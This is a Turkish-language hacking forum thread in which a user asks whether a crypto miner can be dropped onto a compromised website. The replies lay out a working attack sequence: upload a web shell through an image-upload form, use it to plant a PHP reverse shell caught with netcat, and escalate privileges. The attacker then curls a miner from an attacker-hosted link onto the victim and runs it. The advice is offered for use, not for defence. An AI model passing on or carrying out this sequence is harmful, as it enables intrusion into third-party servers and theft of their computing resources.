Sızılan siteye mining atılır mı.?
- Konuyu başlatan C3T0
- Başlangıç tarihi
Çözüm
Reverse Shell attıysanız mining işlemi gerçekleştirebilirsiniz, eğer Reverse Shell'e sahip değilseniz mâlesef böyle bir işlem gerçekleştirmeniz imkansız. Web Shell ile sadece dosya yüklenebilir, dosya çalıştırılmaz(çoğunlukla). O yüzden web shell ile kendinize bir reverse shell elde edip sisteme sızdıktan sonra mining virüsünüzü hedef sistemin komut satırında akitf edin.
Merhabalar.
Site sunucusunda shell upload ederek yapabilirsiniz ancak bu site trafiğinde ve cpu değerlerindeki değişikliklerden dolayı siteyi yavaşlatıp farkedilecektir ve tersine mühendislik ile ve ıp yollarıyla sizi ele verecektir.
Site sunucusunda shell upload ederek yapabilirsiniz ancak bu site trafiğinde ve cpu değerlerindeki değişikliklerden dolayı siteyi yavaşlatıp farkedilecektir ve tersine mühendislik ile ve ıp yollarıyla sizi ele verecektir.
Örneğin bir görsel yükleme yerinden web shell yüklediniz. Yüklediğiniz web shell yardımıyla "php reverse shell" yükleyin hedef siteye, yüklediğiniz reverse shellin portunu netcat ile dinleyin. Yüklediğiniz PHP dosyasının olduğu web sayfasına girince netcat ile hedef sitenin işletim sistemine erişim sağlayacaksınız ve yetki yükselteceksiniz. Sonunda github ile bir miner bulup editleyin, minerınızı bir siteye yükleyin. Son olarak sızdığın işletim sisteminde curl *miner indirme linki* şeklinde minerınızı indirin. Ve "./miner - python miner.py - miner.exe" gibi komutlarla miner virüsünüzü hedef sistemde çalıştırın.
